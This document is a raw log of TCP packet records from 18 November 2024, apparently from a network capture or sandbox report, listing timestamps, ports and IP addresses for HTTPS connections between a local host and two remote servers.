Nov 18, 2024 17:24:43.790127993 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.790148973 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.790205956 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.790277004 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.790314913 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.790537119 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.790544987 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.790555000 CET	50063	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.790559053 CET	443	50063	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.792970896 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.792979002 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.793065071 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.793185949 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.793190956 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.873761892 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.873836040 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.873958111 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.874130011 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.874151945 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.874182940 CET	50064	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.874191999 CET	443	50064	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.878776073 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.878818989 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:43.878907919 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.879168987 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:43.879194975 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.061306953 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:44.062148094 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:44.062175989 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:44.062530994 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:44.066379070 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:44.066481113 CET	443	50066	142.250.185.196	192.168.2.4
Nov 18, 2024 17:24:44.114432096 CET	50066	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:24:44.484191895 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.495352983 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.508975983 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.524584055 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.536272049 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.536464930 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.540539980 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.540565968 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.541004896 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.541017056 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.541955948 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.541971922 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.542617083 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.542643070 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.543137074 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.543159008 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.543809891 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.543822050 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.544600010 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.544606924 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.544979095 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.544984102 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.604944944 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.607331991 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.607371092 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.608030081 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.608042002 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.693259954 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.693295002 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.693356037 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.693356991 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.693423986 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.693888903 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.694664001 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.694688082 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.694688082 CET	50069	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.694708109 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.694731951 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.694760084 CET	443	50069	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.696793079 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.696796894 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.696810961 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.696820974 CET	50070	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.696826935 CET	443	50070	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.696861029 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.696983099 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.697077036 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.697093010 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.697122097 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.698592901 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.698592901 CET	50067	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.698626041 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.698647976 CET	443	50067	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.699146032 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.699191093 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.699246883 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.699305058 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.699316978 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.699326038 CET	50068	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.699328899 CET	443	50068	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.700150967 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.700175047 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.702595949 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.702636003 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.702693939 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.702873945 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.702889919 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.703203917 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.703238010 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.703288078 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.703490973 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.703507900 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.704129934 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.704140902 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.704197884 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.704312086 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.704324961 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.732420921 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.732656002 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.732726097 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.732758045 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.732777119 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.732799053 CET	50071	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.732810020 CET	443	50071	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.735784054 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.735816956 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:44.735876083 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.736027002 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:44.736038923 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.438338995 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.439008951 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.439027071 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.439512014 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.439519882 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.441700935 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.441987038 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.442008018 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.442331076 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.442337036 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.463198900 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.463762999 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.463773966 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.464170933 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.464176893 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.466939926 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.467231989 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.467245102 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.467569113 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.467575073 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.484726906 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.485146046 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.485165119 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.485476971 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.485482931 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.572102070 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.572273016 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.572468996 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.572534084 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.572557926 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.572571993 CET	50075	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.572580099 CET	443	50075	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.574053049 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.574115038 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.574174881 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.574378014 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.574378014 CET	50074	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.574405909 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.574426889 CET	443	50074	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.575676918 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.575716019 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.575814009 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.575939894 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.575952053 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.576441050 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.576474905 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.576535940 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.576678038 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.576690912 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.597696066 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.597774029 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.597959995 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.598097086 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.598120928 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.598136902 CET	50073	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.598144054 CET	443	50073	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.601125002 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.601159096 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.601227999 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.601396084 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.601408005 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.605973005 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.606046915 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.606199026 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.606199026 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.606224060 CET	50072	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.606241941 CET	443	50072	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.608510017 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.608546019 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.608623028 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.608768940 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.608781099 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.618911982 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.619091988 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.619152069 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.619180918 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.619193077 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.619204044 CET	50076	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.619210958 CET	443	50076	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.621557951 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.621619940 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:45.621705055 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.621834040 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:45.621870041 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.307763100 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.308264971 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.308283091 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.308902025 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.308906078 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.320703030 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.321093082 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.321115017 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.321558952 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.321563005 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.322597027 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.322871923 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.322880030 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.323232889 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.323235989 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.344444036 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.344774008 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.344791889 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.345421076 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.345424891 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.365782976 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.366281033 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.366306067 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.366841078 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.366848946 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.439698935 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.439778090 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.439827919 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.439838886 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.439883947 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.440666914 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.440679073 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.440692902 CET	50077	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.440699100 CET	443	50077	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.444015980 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.444051981 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.444133997 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.444279909 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.444293976 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.452236891 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.452305079 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.452383041 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.452394009 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.452414036 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.452461958 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.452749014 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.452756882 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.452768087 CET	50079	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.452771902 CET	443	50079	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.457441092 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.457515001 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.457591057 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.457719088 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.457748890 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.462373018 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.462598085 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.462661982 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.462904930 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.462919950 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.462932110 CET	50078	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.462937117 CET	443	50078	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.464930058 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.464963913 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.465027094 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.465132952 CET	50084	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.465147018 CET	443	50084	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.475178957 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.475310087 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.475368023 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.475399971 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.475419998 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.475429058 CET	50080	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.475435972 CET	443	50080	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.477185965 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.477215052 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.477281094 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.477379084 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.477392912 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.504250050 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.504686117 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.504759073 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.504787922 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.504822016 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.504877090 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.504919052 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.504920006 CET	50081	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.504945040 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.504970074 CET	443	50081	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.507093906 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.507138968 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:46.507222891 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.507345915 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:46.507360935 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.184993982 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.185797930 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.185888052 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.186094999 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.186110973 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.200094938 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.200524092 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.200561047 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.200875998 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.200881004 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.209037066 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.209414005 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.209444046 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.209798098 CET	50085	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.209804058 CET	443	50085	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.258466959 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.258991957 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.259027004 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.259474039 CET	50086	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.259480953 CET	443	50086	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.311506987 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.311693907 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.311772108 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.312026024 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.312052011 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.312069893 CET	50083	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.312077999 CET	443	50083	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.315289021 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.315329075 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.315393925 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.315556049 CET	50087	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.315562963 CET	443	50087	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.333806992 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.333884001 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.333942890 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.334043980 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.334065914 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.334083080 CET	50082	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.334089041 CET	443	50082	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:47.336782932 CET	50088	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:47.336807013 CET	443	50088	13.107.246.45	192.168.2.4
